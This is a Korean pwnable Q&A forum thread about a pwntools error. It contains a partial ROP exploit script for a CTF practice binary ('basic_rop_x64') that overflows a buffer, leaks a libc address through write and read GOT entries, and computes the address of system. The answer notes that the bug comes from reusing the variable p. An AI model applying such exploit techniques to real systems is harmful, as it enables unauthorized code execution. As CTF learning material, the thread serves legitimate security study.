'int' Object has no attribute 'send'

페이로드 작성할때 자꾸 이 에러가 뜨는데 다른 사람 페이로드와 같은데 왜 자꾸 이게 뜨는거죠?..

#pwnable
작성자 정보
답변 4
avatar
김진우
대표 업적 없음

코드를 적어주셔야 더 자세한 답변 가능합니다.. 똑같은 코드도 pwntools 버전마다 안되는 경우가 많습니다.

일단은 페이로드가 p.send(1234) 이런식으로 정수인거 같은데 p.send(b'1234') 이런식으로 바이트 형식으로 바꿔주시면 해결 될 것 같습니다.

2022.02.15. 20:10
삼부허리케인
대표 업적 없음
  2
  3 p = remote("host1.dreamhack.games", 18769)
  4
  5 libc = ELF("./libc.so.6")
  6 elf = ELF("./basic_rop_x64")
  7
  8 write_got = elf.got['write']
  9 write_plt = elf.plt['write']
 10 read_got = elf.got['read']
 11 read_plt = elf.plt['read']
 12
 13 context.log_level = 'debug'
 14
 15 pop = 0x000000000040087e
 16 p = 0x0000000000400882
 17
 18 payload = b'A' * 0x48
 19 payload += p64(write_plt)
 20 payload += p64(pop)
 21 payload += p64(1)
 22 payload += p64(read_got)
 23 payload += p64(8)
 24
 25 payload += p64(read_plt)
 26 payload += p64(pop)
 27 payload += p64(0)
 28 payload += p64(read_got)
 29 payload += p64(16)
 30
 31 payload += p64(read_plt)
 32 payload += p64(p)
 33 payload += p64(read_got + 8)
 34
 35 p.send(payload)
 36
 37 p.recvuntil('A' * 0x40)
 38 read = u64(p.recv(6) + b"\x00" * 2)
 39
 40 print(hex(read))
 41
 42 lib_base = read - libc.sym['read']
 43 print(hex(lib_base))
 44 system = lib_base + libc.sym['system']
 45 print(hex(system))```
2022.02.15. 22:55
삼부허리케인
대표 업적 없음

x86도 안되어서 혹시나 하여 x64로 구성해서 페이로드를 짰습니다. 근데 이 코드도 똑같은 에러가 떠서..

2022.02.15. 22:57
avatar
김진우
대표 업적 없음

p = 0x0000000000400882 여기에서 p를 변경해버리셔서 오류가 나는 것이네요...;;

2022.02.16. 00:44
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기